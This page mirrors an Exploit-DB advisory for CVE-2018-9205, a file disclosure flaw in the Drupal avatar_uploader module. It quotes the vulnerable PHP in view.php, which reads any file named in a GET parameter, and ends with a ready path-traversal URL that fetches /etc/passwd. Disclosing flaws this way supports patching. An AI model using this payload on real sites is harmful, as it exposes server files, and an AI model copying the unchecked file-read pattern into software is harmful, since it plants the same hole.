Drupal avatar_uploader v7.x-1.0-beta8 – Arbitrary File Disclosure - 体验盒子

作者： Larry W. Cashdollar

日期： 2018-04-23

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/44501/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

#Title: Drupal avatar_uploader v7.x-1.0-beta8 - Arbitrary File Disclosure

#Author: Larry W. Cashdollar

#Date: 2018-03-30

#CVE-ID: CVE-2018-9205

#Download Site: https://www.drupal.org/project/avatar_uploader

#Vendor: https://www.drupal.org/u/robbinzhao

#Vendor Notified: 2018-04-02

#Vendor Contact: https://www.drupal.org/project/avatar_uploader/issues/2957966#comment-12554146

#Advisory: http://www.vapidlabs.com/advisory.php?v=202

#Description: This module used Simple Ajax Uploader, and provide a basic uploader panel, for more effect, you can do your custom javascript. Such as, users' mouse hover on avatar, the edit link will slideup, or others.

#Vulnerability:

#The view.php contains code to retrieve files but no code to verify a user should be able to view files or keep them from changing the path to outside of the uploadDir directory:

<?php

$file = $_GET['file'];

echo file_get_contents("uploadDir/$file");

exit;

Exploit Code:

http://example.com/sites/all/modules/avatar_uploader/lib/demo/view.php?file=../../../../../../../../../../../etc/passwd